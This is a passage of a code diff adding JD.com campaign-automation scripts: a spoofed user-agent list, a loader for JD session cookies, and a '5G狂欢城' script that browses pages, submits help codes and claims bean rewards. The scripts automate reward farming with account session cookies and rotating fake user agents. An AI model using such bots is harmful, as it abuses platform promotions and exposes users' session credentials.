(KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.0;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.0;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.0;13.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.0;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.0;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MI 6 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.1.0;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K30 5G Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045511 Mobile Safari/537.36", + "jdapp;iPhone;10.1.0;11.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79", + "jdapp;android;10.1.0;10;;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.1.0;10;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.1.0;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045224 Mobile Safari/537.36", + "jdapp;android;10.1.0;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MHA-AL00 Build/HUAWEIMHA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.1.0;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; 16 X Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.1.0;8.0.0;network/wifi;Mozilla/5.0 (Linux; Android 8.0.0; HTC U-3w Build/OPR6.170623.013; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.1.0;14.0.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.0;10;network/wifi;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00L; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.1.0;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.0;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.0;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.0;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.1.0;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi K20 Pro Premium Edition Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.1.0;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.0;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.0;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K20 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36", + "jdapp;android;10.1.0;10;network/wifi;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.1.0;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", +] +/** + * 生成随机数字 + * @param {number} min 最小值(包含) + * @param {number} max 最大值(不包含) + */ +function randomNumber(min = 0, max = 100) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); +} +const USER_AGENT = USER_AGENTS[randomNumber(0, USER_AGENTS.length)]; + +module.exports = { + USER_AGENT +} diff --git a/activity/jdCookie.js b/activity/jdCookie.js new file mode 100644 index 0000000..c828d0a --- /dev/null +++ b/activity/jdCookie.js @@ -0,0 +1,34 @@ +/* +此文件为Node.js专用。其他用户请忽略 + */ +//此处填写京东账号cookie。 +let CookieJDs = [ + '',//账号一ck,例:pt_key=XXX;pt_pin=XXX; + '',//账号二ck,例:pt_key=XXX;pt_pin=XXX;如有更多,依次类推 +] +// 判断环境变量里面是否有京东ck +if (process.env.JD_COOKIE) { + if (process.env.JD_COOKIE.indexOf('&') > -1) { + CookieJDs = process.env.JD_COOKIE.split('&'); + } else if (process.env.JD_COOKIE.indexOf('\n') > -1) { + CookieJDs = process.env.JD_COOKIE.split('\n'); + } else { + CookieJDs = [process.env.JD_COOKIE]; + } +} +if (JSON.stringify(process.env).indexOf('GITHUB')>-1) { + console.log(`请勿使用github action运行此脚本,无论你是从你自己的私库还是其他哪里拉取的源代码,都会导致我被封号\n`); + !(async () => { + await require('./sendNotify').sendNotify('提醒', `请勿使用github action、滥用github资源会封我仓库以及账号`) + await process.exit(0); + })() +} +CookieJDs = [...new Set(CookieJDs.filter(item => !!item))] +console.log(`\n====================共${CookieJDs.length}个京东账号Cookie=========\n`); +console.log(`==================脚本执行- 北京时间(UTC+8):${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString()}=====================\n`) +if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +for (let i = 0; i < CookieJDs.length; i++) { + if (!CookieJDs[i].match(/pt_pin=(.+?);/) || !CookieJDs[i].match(/pt_key=(.+?);/)) console.log(`\n提示:京东cookie 【${CookieJDs[i]}】填写不规范,可能会影响部分脚本正常使用。正确格式为: pt_key=xxx;pt_pin=xxx;(分号;不可少)\n`); + const index = (i + 1 === 1) ? '' : (i + 1); + exports['CookieJD' + index] = CookieJDs[i].trim(); +} diff --git a/activity/jd_5g.js b/activity/jd_5g.js new file mode 100644 index 0000000..90a31a0 --- /dev/null +++ b/activity/jd_5g.js @@ -0,0 +1,767 @@ +/* +5G狂欢城 +活动时间: 2021-1-30至2021-2-4 +活动入口:暂无 +活动地址:https://rdcseason.m.jd.com/ +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#5G狂欢城 +0 0,6,12,18 * * * jd_5g.js, tag=5G狂欢城, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "0 0,6,12,18 * * *" script-path=jd_5g.js, tag=5G狂欢城 + +===============Surge================= +5G狂欢城 = type=cron,cronexp="0 0,6,12,18 * * *",wake-system=1,timeout=3600,script-path=jd_5g.js + +============小火箭========= +5G狂欢城 = type=cron,script-path=jd_5g.js, cronexpr="0 0,6,12,18 * * *", timeout=3600, enable=true + */ +const $ = new Env('5G狂欢城'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://rdcseason.m.jd.com/api/'; +const inviteCodes = [ + '', + '' +]; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await jdFive() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdFive() { + try { + $.beans = 0 + $.score = 0 + $.risk = false + await getToday() + if($.risk){ + message += '活动太火爆了,快去买买买吧\n' + await showMsg() + return + } + await getHelp() + console.log(`去浏览会场`) + await getMeetingList() + console.log(`去浏览商品`) + await getGoodList() + console.log(`去浏览店铺`) + await getShopList() + await $.wait(10000); + console.log(`去浏览会场`) + await getMeetingList() + console.log(`去浏览商品`) + await getGoodList() + console.log(`去浏览店铺`) + await getShopList() + console.log(`去帮助好友`) + await helpFriends() + await myRank();//领取往期排名奖励 + await getActInfo() + await showMsg() + } catch (e) { + $.logErr(e) + } +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + await doHelp(code) + await $.wait(2000) + } +} + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.beans}京豆,${$.score}积分` + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function doHelp(id) { + return new Promise((resolve) => { + $.post(taskPostUrl('task/toHelp', `shareId=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + console.log(`助力结果:${JSON.stringify(data)}`); + } else { + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getToday() { + return new Promise((resolve) => { + $.post(taskPostUrl('task/getPresetJingTie', "presentAmt=20"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + console.log(data.data.rsMsg) + } else { + console.log(data.msg) + if(data.code===1002){ + $.risk = true + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getActInfo() { + return new Promise((resolve) => { + $.get(taskUrl('task/findJingTie', ), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + message += `用户当前积分:${data.data.integralNum}\n` + console.log(`用户当前积分:${data.data.integralNum}`) + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getMeetingList() { + return new Promise((resolve) => { + $.get(taskUrl('task/listMeeting'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + for(let vo of data.data.meetingList){ + await browseMeeting(vo['id']) + await getMeetingPrize(vo['id']) + } + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function browseMeeting(id) { + return new Promise((resolve) => { + $.post(taskPostUrl('task/browseMeeting', `meetingId=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + console.log(data.msg) + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getMeetingPrize(id) { + return new Promise((resolve) => { + $.post(taskPostUrl('task/getMeetingPrize', `meetingId=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + $.beans += parseInt(data.data.jdNum) + $.score += parseInt(data.data.integralNum) + console.log(`获得${data.data.jdNum}京豆,${data.data.integralNum}积分`) + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getGoodList() { + return new Promise((resolve) => { + $.get(taskUrl('task/listGoods'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + for(let vo of data.data.goodsList){ + await browseGood(vo['id']) + await getGoodPrize(vo['id']) + } + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function browseGood(id) { + return new Promise((resolve) => { + $.get(taskUrl('task/browseGoods', `skuId=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + console.log(data.msg) + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getGoodPrize(id) { + return new Promise((resolve) => { + $.get(taskUrl('task/getGoodsPrize', `skuId=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + $.beans += parseInt(data.data.jdNum) + $.score += parseInt(data.data.integralNum) + console.log(`获得${data.data.jdNum}京豆,${data.data.integralNum}积分`) + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getShopList() { + return new Promise((resolve) => { + $.get(taskUrl('task/shopInfo'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + for(let vo of data.data){ + await browseShop(vo['shopId']) + await getShopPrize(vo['shopId']) + } + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function browseShop(id) { + return new Promise((resolve) => { + $.post(taskPostUrl('task/browseShop', `shopId=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + console.log(data.msg) + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getShopPrize(id) { + return new Promise((resolve) => { + $.post(taskPostUrl('task/getShopPrize', `shopId=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + $.beans += parseInt(data.data.jdNum) + $.score += parseInt(data.data.integralNum) + console.log(`获得${data.data.jdNum}京豆,${data.data.integralNum}积分`) + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getHelp() { + return new Promise((resolve) => { + $.get(taskUrl('task/getHelp'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['code'] === 200) { + console.log(`您的好友助力码为:${data.data.shareId} \n注:此邀请码每天都变!`); + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function myRank() { + return new Promise(resolve => { + const options = { + "url": `${JD_API_HOST}task/myRank?t=${Date.now()}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.jbeanNum = ''; + $.get(options, async (err, resp, data) => { + try { + // console.log('查询获奖列表data', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200 && data.data.myHis) { + for (let i = 0; i < data.data.myHis.length; i++) { + $.date = data.data.myHis[0].date; + if (data.data.myHis[i].status === '21') { + await $.wait(1000); + console.log('开始领奖') + let res = await saveJbean(data.data.myHis[i].id); + // console.log('领奖结果', res) + if (res.code === 200 && res.data.rsCode === 200) { + // $.jbeanNum += Number(res.data.jbeanNum); + console.log(`${data.data.myHis[i].date}日奖励领取成功${JSON.stringify(res.data.jbeanNum)}`) + } + } + if (i === 0 && data.data.myHis[i].status === '22') { + $.jbeanNum = data.data.myHis[i].prize; + } + } + // for (let item of data.data.myHis){ + // if (item.status === '21') { + // await $.wait(1000); + // console.log('开始领奖') + // let res = await saveJbean(item.id); + // // console.log('领奖结果', res) + // if (res.code === 200 && res.data.rsCode === 200) { + // $.jbeanNum += Number(res.data.jbeanNum); + // } + // } + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function saveJbean(id) { + return new Promise(resolve => { + const options = { + "url": `${JD_API_HOST}task/saveJbean`, + "body": `prizeId=${id}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, (err, resp, data) => { + try { + // console.log('领取京豆结果', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `http://jd.turinglabs.net/api/v2/jd/5g/read/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(2000); + resolve() + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(async resolve => { + + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JD818_SHARECODES) { + if (process.env.JD818_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JD818_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JD818_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + let data = await updateShareCodes("https://gitee.com/shylocks/updateTeam/raw/main/jd_818.json") + if(data){ + inviteCodes[0] = data.join('@') + inviteCodes[1] = data.join('@') + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function taskUrl(function_id,body) { + let url = `${JD_API_HOST}${function_id}?t=${new Date().getTime()}&${body}`; + return { + url, + headers: { + "Cookie": cookie, + "origin": "https://rdcseason.m.jd.com", + "referer": "https://rdcseason.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" + } + } +} + +function taskPostUrl(function_id, body = "") { + let url = `${JD_API_HOST}${function_id}`; + return { + url, + body: body, + headers: { + "Cookie": cookie, + "origin": "https://rdcseason.m.jd.com", + "referer": "https://rdcseason.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" + } + } +} + +function taskPostUrl2(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function updateShareCodes(url = 'https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_818.json') { + return new Promise(resolve => { + $.get({url, + headers:{"User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")} + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + } else { + resolve(JSON.parse(data)) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let 